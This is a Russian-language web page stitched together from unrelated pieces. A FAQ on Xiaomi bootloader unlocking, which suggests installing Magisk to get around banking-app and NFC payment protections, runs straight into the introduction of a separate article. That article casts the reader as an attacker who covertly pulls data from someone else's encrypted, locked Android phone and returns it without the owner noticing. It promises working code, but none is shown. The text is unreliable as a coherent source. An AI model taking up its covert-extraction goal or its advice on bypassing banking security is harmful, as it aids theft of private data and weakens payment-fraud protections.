Нет. Данный способ работает только для устройств с прошивкой Miui.

У меня отсутствует пункт «статус mi unlock», почему?

У вас или старая прошивка или установлена европейская (EU) версия и уже все разблокировано.

Можно ли все сделать без потери данных?

Нет. Старые устройства не удаляют данные, а вот новые модели стирают абсолютно все.

Как восстановить работоспособность функции бесконтактной оплаты через nfc и возможность работы банковских приложений?

Можно попытаться обойти систему защиты ваших данных установив плагин Magisk.

Можно ли разблокировать телефон без компьютера?

Нельзя.

У меня стоит регион «Индия», нужно ли менять на Россию?

Да, это поможет избежать дальнейших ошибок.

Нужно ли отвязывать смарт часы и умные браслеты от телефона?

Да, иначе с некоторыми моделями могут возникнуть проблемы при повторной привязке.

Существует ли способ для Linux и Mac?

Да, умельцы портировали программу под другие системы (работает на java). На сторонних форумах можно найти ссылки. Стоит отметить, что они очень редко обновляются.

Постановка задачи

Итак, представим ситуацию, мы – злоумышленник, получивший на некоторое время в свои руки смартфон. Устройство – смартфон на базе android с разблокированным загрузчиком. Устройство имеет встроенное шифрование хранилища, его тип – аппаратный, т.е. ключи хранятся в TEE.

Устройство заблокировано, для разблокировки необходимо ввести пин-код. Причём устройство находится в BFU (before-first-unlock) состоянии, это значит, что после включения устройства код разблокировки не вводился ни разу и файловая система зашифрована.

На устройстве не включен режим отладки и подключиться по adb к нему невозможно. В нём содержатся данные, которые нам необходимо изъять. Устройство нужно будет вернуть владельцу, неповреждённое, в рабочем состоянии, причём владельцу не должно бросаться в глаза что его устройство было скомпрометировано.

Звучит как невыполнимая задача, и так бы оно и было, если бы нам любезно не открыл дверь сам владелец. Современные смартфоны очень хороши с точки зрения безопасности. Возможная поверхность атаки у них крайне мала. В последних версиях ОС android сделано очень многое для защиты данных пользователей.

Защита системы выстроена в несколько уровней. Данные шифруются, подписи проверяются, ключи хранятся аппаратно. Везде используется подход “least privilege” – запрещено всё что не разрешено. Приложения работают в рамках серьёзных ограничений. Можно смело утверждать, что современные смартфоны являются одними из лучших примеров безопасных устройств, которые создавал человек.

Если пользователь не совершает явно странные действия вроде скачивания странных apk со странных ресурсов и не выдаёт им явно руками привилегий администратора устройства, то навредить пользователю или украсть его данные довольно затруднительно. И даже эти проблемы являются скорее не дырами в безопасности системы, а следствием свободы, которую android предоставляет пользователям, однако не все распоряжаются ей правильно.

Прошли времена, когда безопасность android была поводом для шуток. На сайте известного брокера эксплоитов, компании Zerodium, FCP – full-chain with persistence или полная цепочка удалённой эксплуатации устройства с закреплением в системе в настоящий момент является самым дорогим эксплоитом, за который компания готова выложить до двух с половиной миллионов долларов.

Код с примером будет приведён довольно упрощённый и не в самом изощрённом варианте, но рабочий и явно демонстрирующий то, как именно это работает. 

Все действия я проводил на устройствах на OnePlus 5T (он же dumpling по принятой в android device tree классификации) на стоковой OxygenOS и LineageOS с версиями соответствующими android 9 и 10, и XiaomiMI6 (он же sagit). Из-за этого некоторые нюансы структуры разделов, и выводы некоторых команд у вас могут отличаться, но общая суть происходящего не изменится.

Оцените статью
Huawei Devices
Добавить комментарий